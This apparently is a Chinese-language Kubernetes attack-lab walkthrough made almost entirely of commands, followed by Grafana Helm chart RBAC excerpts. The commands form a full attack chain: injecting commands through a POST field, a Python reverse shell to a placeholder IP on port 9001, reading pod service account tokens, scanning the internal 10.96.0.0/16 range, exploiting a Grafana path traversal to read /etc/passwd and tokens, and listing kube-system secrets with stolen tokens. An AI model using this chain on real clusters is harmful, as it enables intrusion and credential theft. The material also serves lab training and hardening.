一个易懂、完整、实战的K8S攻防靶场演练

kubectl get all -A | grep -v kube-system | grep -v local-path-storage

curl -IL http://localhost:8080

curl -X POST -d "url=;id;hostname" http://localhost:8080/

curl -X POST -d "url=;python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("<YOUR_IP>",9001)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); import pty; pty.spawn("/bin/bash")'" http://localhost:8080/

nc -lvnp 9001

# 获取pod的服务帐户令牌export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)# 使用REST API与集群交互curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure# https://kubernetes.default.svc:443 是 Kubernetes 集群内部的 Kubernetes API Server 的地址# 这个地址一般只在 Kubernetes 集群内部可用，从集群外部通常是不可达的，因为它通常不会被直接暴露给公共网络。

#!/bin/bash# 设置超时值（以秒为单位）timeout=0.03# 循环通过10.96.0/16范围内的每个IP地址for third_octet in {0..255}; do  for fourth_octet in {0..255}; do    ip="10.96.$third_octet.$fourth_octet"    while read -r port; do      url="http://${ip}:${port}"      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; then        echo "Success: $url (HTTP $response_code)"      fi    done < "ports.txt"  done  echo "Range 10.96.$third_octet.0/24 done"done

echo -e '#!/bin/bashntimeout=0.03nfor third_octet in {96..98}; don  for fourth_octet in {0..255}; don    ip="10.96.$third_octet.$fourth_octet"n    while read -r port; don      url="http://${ip}:${port}"n      response_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time $timeout "$url")n      if [[ $response_code -ge 200 && $response_code -lt 400 ]]; thenn        echo "Success: $url (HTTP $response_code)"n      fin    done < "ports.txt"n  donen  echo "Range 10.96.$third_octet.0/24 done"ndone' > scan.sh

echo -e "3000" > ports.txt

export TARGET_IP=10.96.97.167

curl -IL http://$TARGET_IP:3000

curl http://$TARGET_IP:3000/login |grep title

curl http://$TARGET_IP:3000/login | grep "subTitle"

curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token

export TOKEN=$(curl --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token)

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces" -m 3 --insecure

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/pods" -m 3 --insecure

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/pods" -m 3 --insecure

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces/kube-system/secrets" -m 3 --insecure

export TOKEN=ZXlKaGJHY2lPaxxxxxxxxxxxxxx

curl -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc:443/api/v1/namespaces" -m 3 --insecure |grep "name"

https://github.com/grafana/helm-charts/blob/7d2030e19ab7f2e253f102ce83de3fade8fe5b80/charts/grafana/templates/clusterrole.yaml

{{- if and .Values.rbac.create (or (not .Values.rbac.namespaced) .Values.rbac.extraClusterRoleRules) (not .Values.rbac.useExistingClusterRole) }}kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:  labels:    {{- include "grafana.labels" . | nindent 4 }}  {{- with .Values.annotations }}  annotations:    {{- toYaml . | nindent 4 }}  {{- end }}  name: {{ include "grafana.fullname" . }}-clusterrole{{- if or .Values.sidecar.dashboards.enabled .Values.rbac.extraClusterRoleRules .Values.sidecar.datasources.enabled .Values.sidecar.plugins.enabled .Values.sidecar.alerts.enabled }}rules:  {{- if or .Values.sidecar.dashboards.enabled .Values.sidecar.datasources.enabled .Values.sidecar.plugins.enabled .Values.sidecar.alerts.enabled }}  - apiGroups: [""]    resources: ["configmaps", "secrets"]    verbs: ["get", "watch", "list"]  {{- end}}  {{- with .Values.rbac.extraClusterRoleRules }}  {{- toYaml . | nindent 2 }}  {{- end}}{{- else }}rules: []{{- end}}{{- end}}

if .Values.rbac.create is true AND   ((not .Values.rbac.namespaced) OR .Values.rbac.extraClusterRoleRules is true) AND   (not .Values.rbac.useExistingClusterRole) {    xxxxxxx    xxxxxxx}

https://github.com/grafana/helm-charts/blob/7d2030e19ab7f2e253f102ce83de3fade8fe5b80/charts/grafana/values.yaml

rbac:  create: true  pspEnabled: false  pspUseAppArmor: false  namespaced: false  extraRoleRules: []